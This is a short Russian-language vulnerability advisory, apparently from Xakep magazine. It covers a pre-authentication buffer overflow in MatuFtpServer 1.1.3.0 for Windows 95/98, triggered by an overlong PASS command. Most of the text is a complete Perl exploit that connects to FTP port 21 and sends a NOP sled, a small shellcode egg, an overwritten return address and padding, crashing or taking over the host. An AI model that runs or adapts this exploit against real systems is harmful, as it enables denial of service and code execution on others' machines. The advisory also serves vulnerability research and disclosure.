Xakep #305. Многошаговые SQL-инъекции
MatuFtpServer
- FTP сервер для Windows95/98. Уязвимость защиты в программе позволяет нападающим переполнять внутренний буфер с
последующим выполнения произвольного кода.
Пример:
PASS AAAAAAAAAAAAA.... AAAAAAAAAAAAAAAAAA<CR><LF>
При это не надо посылать команду "USER". Т.е. для успешной эксплуатации уязвимости не требуется знание имени учетной записи пользователя.
Уязвимость обнаружена в MatuFtpServer version 1.1.3.0(1.13)
Эксплоит (перегружает уязвимый хост):
#!/usr/local/bin/perl
#-----------------------------------------------
# MatuFtpServer 1.1.3.0 exploit (for Windows98)
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
#-----------------------------------------------
use Socket;
$connect_host = "target.example.com";
$port = 21;
$iaddr = inet_aton( $connect_host ) || die "Host Resolve Error.\n"; $sock_addr = pack_sockaddr_in( $port, $iaddr ); socket( SOCKET, PF_INET, SOCK_STREAM, 0 ) || die "Socket Error.\n"; connect( SOCKET, $sock_addr ) || die "Connect Error\n"; select( SOCKET ); $|=1; select( STDOUT );
#egg written by UNYUN (http://www.shadowpenguin.org/)
#16bytes
$egg = "\x43\x43\x43\x43\x43\x53\x53\x53";
$egg .= "\xB8\x2D\x23\xF5\xBF\x48\x50\xC3";
#0x0177F984
$buf = "\x90" x 1032;
$buf .= $egg;
$buf .= "\x8C\xF9\x77\x01";
$buf .= "A" x 696;
print SOCKET "PASS $buf\r\n";
$hoge = <SOCKET>; print $hoge;